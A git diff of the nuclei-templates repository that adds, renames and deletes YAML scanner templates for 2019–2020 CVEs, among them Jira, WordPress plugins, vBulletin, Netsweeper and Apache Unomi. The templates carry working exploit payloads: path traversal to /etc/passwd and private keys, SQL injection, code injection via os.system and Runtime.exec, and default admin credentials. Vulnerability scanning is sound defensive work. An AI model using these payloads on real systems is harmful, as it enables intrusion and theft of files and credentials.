b/nuclei-templates/CVE-2019/cve-2019-8449.yaml deleted file mode 100644 index 5ae0e70a6c..0000000000 --- a/nuclei-templates/CVE-2019/cve-2019-8449.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2019-8449 - -info: - name: JIRA Unauthenticated Sensitive Information Disclosure - author: harshbothra_ - severity: medium - description: The /rest/api/latest/groupuserpicker resource in Jira before version 8.4.0 allows remote attackers to enumerate usernames via an information disclosure vulnerability. - reference: - - https://www.doyler.net/security-not-included/more-jira-enumeration - - https://jira.atlassian.com/browse/JRASERVER-69796 - tags: cve,cve2019,atlassian,jira,disclosure - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.30 - cve-id: CVE-2019-8449 - cwe-id: CWE-306 - -requests: - - method: GET - path: - - '{{BaseURL}}/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true' - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - '{"users":{"users":' - part: body diff --git a/nuclei-templates/CVE-2019/CVE-2019-8451.yaml b/nuclei-templates/CVE-2019/cve-2019-8451.yaml similarity index 100% rename from nuclei-templates/CVE-2019/CVE-2019-8451.yaml rename to nuclei-templates/CVE-2019/cve-2019-8451.yaml diff --git a/nuclei-templates/CVE-2019/cve-2019-8903.yaml b/nuclei-templates/CVE-2019/cve-2019-8903.yaml new file mode 100644 index 0000000000..c8648e91fe --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-8903.yaml @@ -0,0 +1,31 @@ +id: CVE-2019-8903 + +info: + name: Totaljs - Unauthenticated Directory Traversal + author: madrobot + severity: high + description: index.js in Total.js Platform before 3.2.3 allows path traversal. + reference: + - https://blog.certimetergroup.com/it/articolo/security/total.js-directory-traversal-cve-2019-8903 + - https://github.com/totaljs/framework/commit/c37cafbf3e379a98db71c1125533d1e8d5b5aef7 + - https://github.com/totaljs/framework/commit/de16238d13848149f5d1dae51f54e397a525932b + tags: cve,cve2019,totaljs,lfi + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.50 + cve-id: CVE-2019-8903 + cwe-id: CWE-22 + +requests: + - method: GET + path: + - "{{BaseURL}}/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/var/www/html/index.html" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "apache2.conf" + part: body diff --git a/nuclei-templates/CVE-2019/cve-2019-9041.yaml b/nuclei-templates/CVE-2019/cve-2019-9041.yaml deleted file mode 100644 index 05c0ba21cc..0000000000 --- a/nuclei-templates/CVE-2019/cve-2019-9041.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2019-9041 - -info: - name: ZZZCMS 1.6.1 RCE - author: pikpikcu - severity: high - description: An issue was discovered in ZZZCMS zzzphp V1.6.1. In the inc/zzz_template.php file, the parserIfLabel() function's filtering is not strict, resulting in PHP code execution, as demonstrated by the if:assert substring. - reference: - - http://www.iwantacve.cn/index.php/archives/118/ - - https://www.exploit-db.com/exploits/46454/ - tags: cve,cve2019,zzzcms,rce - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - cvss-score: 7.20 - cve-id: CVE-2019-9041 - cwe-id: CWE-917 - -requests: - - method: POST - path: - - "{{BaseURL}}/search/" - headers: - Content-Type: application/x-www-form-urlencoded - body: | - keys={if:array_map(base_convert(27440799224,10,32),array(1))}{end if} - - matchers-condition: and - matchers: - - type: word - words: - - "phpinfo" - - "PHP Version" - part: body - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2019/cve-2019-9618.yaml b/nuclei-templates/CVE-2019/cve-2019-9618.yaml deleted file mode 100644 index 58167af430..0000000000 --- a/nuclei-templates/CVE-2019/cve-2019-9618.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: CVE-2019-9618 - -info: - name: WordPress Plugin GraceMedia Media Player 1.0 - Local File Inclusion (LFI) - author: daffainfo - severity: critical - description: The GraceMedia Media Player plugin 1.0 for WordPress allows Local File Inclusion via the cfg parameter. - reference: - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9618 - - https://seclists.org/fulldisclosure/2019/Mar/26 - - https://www.exploit-db.com/exploits/46537 - - https://nvd.nist.gov/vuln/detail/CVE-2019-9618 - tags: cve,cve2019,wordpress,wp-plugin,lfi - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2019-9618 - cwe-id: CWE-22 - -requests: - - method: GET - path: - - "{{BaseURL}}/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd" - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2019/cve-2019-9726.yaml b/nuclei-templates/CVE-2019/cve-2019-9726.yaml new file mode 100644 index 0000000000..15cc09e21d --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-9726.yaml @@ -0,0 +1,33 @@ +id: CVE-2019-9726 +info: + name: Homematic CCU3 - Directory Traversal / Arbitrary File Read + author: 0x_Akoko + severity: high + description: Directory Traversal / Arbitrary File Read in eQ-3 AG Homematic CCU3 3.43.15 and earlier allows remote attackers to read arbitrary files of the device's filesystem. This vulnerability can be exploited by unauthenticated attackers with access to the web interface. + reference: + - https://atomic111.github.io/article/homematic-ccu3-fileread + - https://www.cvedetails.com/cve/CVE-2019-9726 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2019-9726 + cwe-id: CWE-22 + tags: cve,cve2019,homematic,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/.%00./.%00./etc/passwd" + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - "root:.*:0:0:" + - "bin:.*:0:0:" + condition: or + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2019/cve-2019-9915.yaml b/nuclei-templates/CVE-2019/cve-2019-9915.yaml new file mode 100644 index 0000000000..0cb1c360e3 --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-9915.yaml @@ -0,0 +1,47 @@ +id: CVE-2019-9915 + +info: + name: GetSimple CMS 3.3.13 - Open Redirect + author: 0x_Akoko + severity: medium + description: GetSimple CMS 3.3.13 contains an open redirect vulnerability via the admin/index.php redirect parameter. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations. + impact: | + An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the installation of malware. + remediation: | + Upgrade to the latest version of GetSimple CMS to fix the open redirect vulnerability. + reference: + - https://www.invicti.com/web-applications-advisories/ns-18-056-open-redirection-vulnerability-in-getsimplecms + - https://github.com/GetSimpleCMS/GetSimpleCMS/issues/1300 + - https://www.netsparker.com/web-applications-advisories/ns-18-056-open-redirection-vulnerability-in-getsimplecms/ + - https://nvd.nist.gov/vuln/detail/CVE-2019-9915 + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2019-9915 + cwe-id: CWE-601 + epss-score: 0.00123 + epss-percentile: 0.45694 + cpe: cpe:2.3:a:get-simple.:getsimplecms:3.3.13:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: get-simple. + product: getsimplecms + tags: cve,cve2019,redirect,getsimple,cms,get-simple. + +http: + - raw: + - | + POST /admin/index.php?redirect=https://interact.sh/ HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + userid={{username}}&pwd={{password}}&submitted=Login + + matchers: + - type: regex + part: header + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/' # https://regex101.com/r/ZDYhFh/1 +# digest: 4a0a004730450221008788f058ad8bc9a4545396c8291ff2999c00d4060b07149c5cfb9cb2dd2ee71f02205a522fb23c5ab963f1f7138b1716c62a485fb4af6f4868e1792761b108572d83:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/CVE-2020-0618.yaml b/nuclei-templates/CVE-2020/CVE-2020-0618.yaml deleted file mode 100644 index bff85baab4..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-0618.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: CVE-2020-0618 -info: - name: Microsoft SQL Server Reporting Services - Remote Code Execution - author: joeldeleep - severity: high - description: Microsoft SQL Server Reporting Services are susceptible to a remote code execution vulnerability when it incorrectly handles page requests. - reference: - - https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/ - - https://github.com/euphrat1ca/CVE-2020-0618 - - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0618 - - http://packetstormsecurity.com/files/156707/SQL-Server-Reporting-Services-SSRS-ViewState-Deserialization.html - - https://nvd.nist.gov/vuln/detail/CVE-2020-0618 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.8 - cve-id: CVE-2020-0618 - cwe-id: CWE-502 - tags: cve,cve2020,rce -requests: - - method: GET - path: - - "{{BaseURL}}/ReportServer/Pages/ReportViewer.aspx" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "view report" - part: body - -# Enhanced by mp on 2022/07/08 diff --git a/nuclei-templates/CVE-2020/CVE-2020-10199.yaml b/nuclei-templates/CVE-2020/CVE-2020-10199.yaml deleted file mode 100644 index c4ce13b9e8..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-10199.yaml +++ /dev/null @@ -1,65 +0,0 @@ -id: CVE-2020-10199 - -info: - name: Sonatype Nexus Repository Manager 3 - Remote Code Execution - author: rootxharsh,iamnoooob,pdresearch - severity: high - description: Sonatype Nexus Repository before 3.21.2 allows JavaEL Injection - impact: | - Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. - remediation: | - Apply the latest security patches or upgrade to a non-vulnerable version of Sonatype Nexus Repository Manager 3. - reference: - - https://twitter.com/iamnoooob/status/1246182773427240967 - - https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype - - https://nvd.nist.gov/vuln/detail/CVE-2020-10199 - - http://packetstormsecurity.com/files/157261/Nexus-Repository-Manager-3.21.1-01-Remote-Code-Execution.html - - https://cwe.mitre.org/data/definitions/917.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.8 - cve-id: CVE-2020-10199 - cwe-id: CWE-917 - epss-score: 0.97392 - epss-percentile: 0.99907 - cpe: cpe:2.3:a:sonatype:nexus:*:*:*:*:*:*:*:* - metadata: - max-request: 2 - vendor: sonatype - product: nexus - tags: cve2020,cve,packetstorm,sonatype,nexus,rce,kev -variables: - username: admin - password: admin123 - -http: - - raw: - - | - POST /service/rapture/session HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - - username={{base64(username)}}&password={{base64(password)}} - - | - POST /service/rest/beta/repositories/bower/group HTTP/1.1 - Host: {{Hostname}} - NX-ANTI-CSRF-TOKEN: 1 - Cookie: NX-ANTI-CSRF-TOKEN=1 - Content-Type: application/json - - {"name": "internal", "online": "true", "storage": {"blobStoreName": "default", "strictContentTypeValidation": "true"}, "group": {"memberNames": ["$\\A{3*3333}"]}} - - host-redirects: true - max-redirects: 2 - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "Member repository does not exist: A9999" - - - type: status - status: - - 400 -# digest: 4a0a00473045022100eaaaae2b3fe1bc4a2f2e207b1186e6d441842506ea615179e40d8b993f96436f022039df49b157d9f30759e5d25af817bb6e6395c56d210814410213e4e6b6697db9:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-10546.yaml b/nuclei-templates/CVE-2020/CVE-2020-10546.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-10546.yaml rename to nuclei-templates/CVE-2020/CVE-2020-10546.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-10547.yaml b/nuclei-templates/CVE-2020/CVE-2020-10547.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-10547.yaml rename to nuclei-templates/CVE-2020/CVE-2020-10547.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-10548.yaml b/nuclei-templates/CVE-2020/CVE-2020-10548.yaml new file mode 100644 index 0000000000..b053bfb21f --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-10548.yaml @@ -0,0 +1,37 @@ +id: CVE-2020-10548 + +info: + name: rConfig 3.9.4 - SQL Injection + author: madrobot + severity: critical + description: rConfig 3.9.4 and previous versions have unauthenticated devices.inc.php SQL injection. Because nodes' passwords are stored in cleartext by default, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices. + reference: + - https://github.com/theguly/exploits/blob/master/CVE-2020-10548.py + - https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/ + - https://nvd.nist.gov/vuln/detail/CVE-2020-10548 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-10548 + cwe-id: CWE-89,CWE-522 + cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:* + epss-score: 0.37886 + tags: cve,cve2020,rconfig,sqli + metadata: + max-request: 1 + +http: + - method: GET + path: + - "{{BaseURL}}/devices.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL+--+&searchColumn=n.id&searchOption=contains" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "[project-discovery]" + part: body + +# Enhanced by mp on 2022/04/07 diff --git a/nuclei-templates/CVE-2020/cve-2020-1147.yaml b/nuclei-templates/CVE-2020/CVE-2020-1147.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-1147.yaml rename to nuclei-templates/CVE-2020/CVE-2020-1147.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-11546.yaml b/nuclei-templates/CVE-2020/CVE-2020-11546.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-11546.yaml rename to nuclei-templates/CVE-2020/CVE-2020-11546.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-11738.yaml b/nuclei-templates/CVE-2020/CVE-2020-11738.yaml new file mode 100644 index 0000000000..280607b065 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-11738.yaml @@ -0,0 +1,45 @@ +id: CVE-2020-11738 +info: + name: WordPress Duplicator plugin Directory Traversal + author: dwisiswant0 + severity: high + description: | + The issue is being actively exploited, and allows attackers + to download arbitrary files, such as the wp-config.php file. + According to the vendor, the vulnerability was only in two + versions v1.3.24 and v1.3.26, the vulnerability wasn't + present in versions 1.3.22 and before. + reference: + - https://www.tenable.com/blog/duplicator-wordpress-plugin-vulnerability-exploited-in-the-wild + - https://snapcreek.com/duplicator/docs/changelog/?lite + - https://www.wordfence.com/blog/2020/02/active-attack-on-recently-patched-duplicator-plugin-vulnerability-affects-over-1-million-sites/ + - http://packetstormsecurity.com/files/160621/WordPress-Duplicator-1.3.26-Directory-Traversal-File-Read.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2020-11738 + cwe-id: CWE-22 + tags: cve,cve2020,wordpress,wp-plugin,lfi,kev +requests: + - method: GET + path: + - "{{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd" + - "{{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=%2F..%2Fwp-config.php" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: regex + regex: + - "File Transfer" + - "application/octet-stream" + - "attachment; filename=\"(wp-config\\.php|passwd)\"" + condition: and + part: header + - type: regex + regex: + - "root:.*:0:0:" + - "define\\('DB_(NAME|USER|PASSWORD|HOST|CHARSET|COLLATE)'" + condition: or + part: body diff --git a/nuclei-templates/CVE-2020/CVE-2020-12116.yaml b/nuclei-templates/CVE-2020/CVE-2020-12116.yaml deleted file mode 100644 index 2aef7ea0b4..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-12116.yaml +++ /dev/null @@ -1,51 +0,0 @@ -id: CVE-2020-12116 - -info: - name: Zoho ManageEngine OpManger - Arbitrary File Read - author: dwisiswant0 - severity: high - description: Zoho ManageEngine OpManager Stable build before 124196 and Released build before 125125 allows an unauthenticated attacker to read arbitrary files on the server by sending a specially crafted request. - reference: - - https://github.com/BeetleChunks/CVE-2020-12116 - - https://nvd.nist.gov/vuln/detail/CVE-2020-12116 - - https://www.manageengine.com/network-monitoring/help/read-me-complete.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2020-12116 - cwe-id: CWE-22 - tags: cve,cve2020,zoho,lfi,manageengine - -requests: - - raw: - - | - GET / HTTP/1.1 - Host: {{Hostname}} - Accept: */* - Connection: close - - - | - GET {{endpoint}}../../../../bin/.ssh_host_rsa_key HTTP/1.1 - Host: {{Hostname}} - Accept: */* - Cache-Control: max-age=0 - Connection: close - Referer: http://{{Hostname}} - - extractors: - - type: regex - name: endpoint - part: body - internal: true - regex: - - "(?m)/cachestart/.*/jquery/" - - req-condition: true - matchers: - - type: dsl - dsl: - - 'contains(body_2, "BEGIN RSA PRIVATE KEY")' - - 'status_code_2 == 200' - condition: and - -# Enhanced by mp on 2022/05/04 diff --git a/nuclei-templates/CVE-2020/CVE-2020-12720.yaml b/nuclei-templates/CVE-2020/CVE-2020-12720.yaml new file mode 100644 index 0000000000..9ce3f26dd2 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-12720.yaml @@ -0,0 +1,40 @@ +id: CVE-2020-12720 + +info: + name: vBulletin SQL Injection + author: pdteam + severity: critical + description: vBulletin before 5.5.6pl1, 5.6.0 before 5.6.0pl1, and 5.6.1 before 5.6.1pl1 has incorrect access control that permits SQL injection attacks. + reference: + - https://github.com/rekter0/exploits/tree/master/CVE-2020-12720 + - https://nvd.nist.gov/vuln/detail/CVE-2020-12720 + - https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4440032-vbulletin-5-6-1-security-patch-level-1 + - http://packetstormsecurity.com/files/157716/vBulletin-5.6.1-SQL-Injection.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-12720 + cwe-id: CWE-89,CWE-306 + cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:* + epss-score: 0.84671 + tags: cve2020,vbulletin,sqli,packetstorm,cve + metadata: + max-request: 1 + +http: + - raw: + - | + POST /ajax/api/content_infraction/getIndexableContent HTTP/1.1 + Host: {{Hostname}} + X-Requested-With: XMLHttpRequest + Accept: */* + Content-Type: application/x-www-form-urlencoded + + nodeId%5Bnodeid%5D=1%20union%20select%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2CCONCAT%28%27vbulletin%27%2C%27rce%27%2C%40%40version%29%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27--+- + + matchers: + - type: word + words: + - "vbulletinrce" + +# Enhanced by mp on 2022/04/01 diff --git a/nuclei-templates/CVE-2020/CVE-2020-12800.yaml b/nuclei-templates/CVE-2020/CVE-2020-12800.yaml new file mode 100644 index 0000000000..78797b30fb --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-12800.yaml @@ -0,0 +1,67 @@ +id: CVE-2020-12800 + +info: + name: WordPress Contact Form 7 <1.3.3.3 - Remote Code Execution + author: dwisiswant0 + severity: critical + description: | + WordPress Contact Form 7 before 1.3.3.3 allows unrestricted file upload and remote code execution by setting supported_type to php% and uploading a .php% file. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2020-12800 + - https://github.com/amartinsec/CVE-2020-12800 + - https://packetstormsecurity.com/files/157951/WordPress-Drag-And-Drop-Multi-File-Uploader-Remote-Code-Execution.html + - https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/#developers + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-12800 + cwe-id: CWE-434 + tags: cve,cve2020,wordpress,wp-plugin,fileupload,wp,rce + +requests: + - raw: + - | + POST /wp-admin/admin-ajax.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: multipart/form-data; boundary=---------------------------350278735926454076983690555601 + X-Requested-With: XMLHttpRequest + + -----------------------------350278735926454076983690555601 + Content-Disposition: form-data; name="supported_type" + + txt% + -----------------------------350278735926454076983690555601 + Content-Disposition: form-data; name="size_limit" + + 5242880 + -----------------------------350278735926454076983690555601 + Content-Disposition: form-data; name="action" + + dnd_codedropz_upload + -----------------------------350278735926454076983690555601 + Content-Disposition: form-data; name="type" + + click + -----------------------------350278735926454076983690555601 + Content-Disposition: form-data; name="upload-file"; filename="{{randstr}}.txt%" + Content-Type: application/x-httpd-php + + CVE-2020-12800-{{randstr}} + -----------------------------350278735926454076983690555601-- + + - | + GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{{randstr}}.txt HTTP/1.1 + Host: {{Hostname}} + + req-condition: true + matchers-condition: and + matchers: + - type: word + part: body_2 + words: + - "CVE-2020-12800-{{randstr}}" + + - type: status + status: + - 200 +# Enhanced by mp on 2022/05/16 diff --git a/nuclei-templates/CVE-2020/cve-2020-13117.yaml b/nuclei-templates/CVE-2020/CVE-2020-13117.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-13117.yaml rename to nuclei-templates/CVE-2020/CVE-2020-13117.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-13121.yaml b/nuclei-templates/CVE-2020/CVE-2020-13121.yaml deleted file mode 100644 index 38db107834..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-13121.yaml +++ /dev/null @@ -1,24 +0,0 @@ -id: CVE-2020-13121 -info: - name: Submitty 20.04.01 - Open redirect - author: 0x_Akoko - severity: medium - description: Submitty through 20.04.01 has an open redirect via authentication/login?old= during an invalid login attempt. - reference: - - https://github.com/Submitty/Submitty/issues/5265 - - https://www.cvedetails.com/cve/CVE-2020-13121 - tags: cve,cve2020,redirect,submitty - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2020-13121 - cwe-id: CWE-601 -requests: - - method: GET - path: - - '{{BaseURL}}/authentication/login?old=http%3A%2F%2Flexample.com' - matchers: - - type: regex - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?example\.com(?:\s*?)$' - part: header diff --git a/nuclei-templates/CVE-2020/CVE-2020-13167.yaml b/nuclei-templates/CVE-2020/CVE-2020-13167.yaml deleted file mode 100644 index fdaec92d5f..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-13167.yaml +++ /dev/null @@ -1,45 +0,0 @@ -id: CVE-2020-13167 - -info: - name: Netsweeper <=6.4.3 - Python Code Injection - author: dwisiswant0 - severity: critical - description: | - Netsweeper through 6.4.3 allows unauthenticated remote code execution because webadmin/tools/unixlogin.php (with certain Referer headers) launches a command line with client-supplied parameters, and allows injection of shell metacharacters. - reference: - - https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/ - - https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says - - https://nvd.nist.gov/vuln/detail/CVE-2020-13167 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-13167 - cwe-id: CWE-78 - cpe: cpe:2.3:a:netsweeper:netsweeper:*:*:*:*:*:*:*:* - epss-score: 0.97387 - metadata: - max-request: 2 - hex-payload: echo "bm9uZXhpc3RlbnQ=" | base64 -d > /usr/local/netsweeper/webadmin/out - tags: cve,cve2020,netsweeper,rce,python,webadmin - -http: - - method: GET - path: - - "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5" - - "{{BaseURL}}/webadmin/out" - - headers: - Referer: "{{BaseURL}}/webadmin/admin/service_manager_data.php" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "nonexistent" - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/05/16 diff --git a/nuclei-templates/CVE-2020/CVE-2020-13927.yaml b/nuclei-templates/CVE-2020/CVE-2020-13927.yaml deleted file mode 100644 index e75d589b56..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-13927.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: CVE-2020-13927 - -info: - name: Airflow Experimental <1.10.11 - REST API Auth Bypass - author: pdteam - severity: critical - description: | - Airflow's Experimental API prior 1.10.11 allows all API requests without authentication. - reference: - - https://lists.apache.org/thread.html/r23a81b247aa346ff193670be565b2b8ea4b17ddbc7a35fc099c1aadd%40%3Cdev.airflow.apache.org%3E - - http://packetstormsecurity.com/files/162908/Apache-Airflow-1.10.10-Remote-Code-Execution.html - - https://airflow.apache.org/docs/1.10.11/security.html#api-authenticatio - - https://nvd.nist.gov/vuln/detail/CVE-2020-13927 - remediation: | - From Airflow 1.10.11 forward, the default has been changed to deny all requests by default. Note - this change fixes it for new installs but existing users need to change their config to default `[api]auth_backend = airflow.api.auth.backend.deny_all` as mentioned in the Updating Guide linked in the references. - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-13927 - cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:* - epss-score: 0.95492 - metadata: - max-request: 1 - verified: "true" - shodan-query: title:"Airflow - DAGs" || http.html:"Apache Airflow" - tags: packetstorm,cve,cve2020,apache,airflow,unauth,auth-bypass,kev - -http: - - method: GET - path: - - '{{BaseURL}}/api/experimental/latest_runs' - - matchers: - - type: word - part: body - words: - - '"dag_run_url":' - - '"dag_id":' - - '"items":' - condition: and - -# Enhanced by mp on 2022/05/16 diff --git a/nuclei-templates/CVE-2020/cve-2020-13937.yaml b/nuclei-templates/CVE-2020/CVE-2020-13937.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-13937.yaml rename to nuclei-templates/CVE-2020/CVE-2020-13937.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-13942.yaml b/nuclei-templates/CVE-2020/CVE-2020-13942.yaml deleted file mode 100644 index db6176c4f9..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-13942.yaml +++ /dev/null @@ -1,82 +0,0 @@ -id: CVE-2020-13942 - -info: - name: Apache Unomi <1.5.2 - Remote Code Execution - author: dwisiswant0 - severity: critical - description: | - Apache Unomi allows conditions to use OGNL and MVEL scripting which - offers the possibility to call static Java classes from the JDK - that could execute code with the permission level of the running Java process. - This vulnerability affects all versions of Apache Unomi prior to 1.5.2. - remediation: Apache Unomi users should upgrade to 1.5.2 or later. - reference: - - https://securityboulevard.com/2020/11/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/ - - https://twitter.com/chybeta/status/1328912309440311297 - - https://nvd.nist.gov/vuln/detail/CVE-2020-13942 - - http://unomi.apache.org./security/cve-2020-13942.txt - - https://lists.apache.org/thread.html/r4a8fa91836687eaca42b5420a778ca8c8fd3a3740e4cf4401acc9118@%3Cusers.unomi.apache.org%3E - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-13942 - cwe-id: CWE-74,CWE-20 - epss-score: 0.97256 - epss-percentile: 0.9981 - cpe: cpe:2.3:a:apache:unomi:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: apache - product: unomi - tags: cve,cve2020,apache,rce -variables: - id: "{{to_lower(rand_text_alpha(5))}}" - -http: - - method: POST - path: - - "{{BaseURL}}/context.json" - - body: | - { - "filters": [ - { - "id": "{{id}}", - "filters": [ - { - "condition": { - "parameterValues": { - "nuclei": "script::Runtime.getRuntime().exec('id')" - }, - "type": "profilePropertyCondition" - } - } - ] - } - ], - "sessionId": "nuclei" - } - - headers: - Content-Type: "application/json" - - matchers-condition: and - matchers: - - type: word - part: header - words: - - "application/json" - - "context-profile-id" - condition: and - - - type: regex - part: body - regex: - - "(profile|session)(Id|Properties|Segments)" - - 